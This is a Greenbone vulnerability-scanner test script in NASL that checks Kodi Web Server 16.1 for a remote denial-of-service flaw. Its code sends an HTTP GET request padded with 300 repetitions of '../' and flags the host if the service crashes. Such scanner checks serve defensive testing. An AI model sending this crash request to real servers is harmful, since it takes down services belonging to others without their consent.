Kodi Web Server Remote Denial Of Service Vulnerability

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:kodi:kodi";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.808283");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2016-08-08 18:13:32 +0530 (Mon, 08 Aug 2016)");
  script_name("Kodi Web Server Remote Denial Of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_kodi_web_server_detect.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("Kodi/WebServer/installed");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/40208");

  script_tag(name:"summary", value:"Kodi Web Server is prone to remote denial of service vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET
  and check whether it is able to crash or not.");

  script_tag(name:"insight", value:"The flaw is due to an error when processing
  web requests and can be exploited to cause a buffer overflow via an overly long
  string passed to GET request.");

  script_tag(name:"impact", value:"Successful exploitation may allow remote
  attackers to cause the application to crash, creating a denial-of-service
  condition.");

  script_tag(name:"affected", value:"Kodi Web Server version 16.1, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( http_is_dead( port:port ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) ) # nb: To have a reference to the Detection-VT
  exit( 0 );

craftData = crap( length:300, data:"../" );
req = 'GET ' + craftData + ' HTTP/1.1\r\n\r\n';
http_send_recv( port:port, data:req );

if( http_is_dead( port:port ) ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );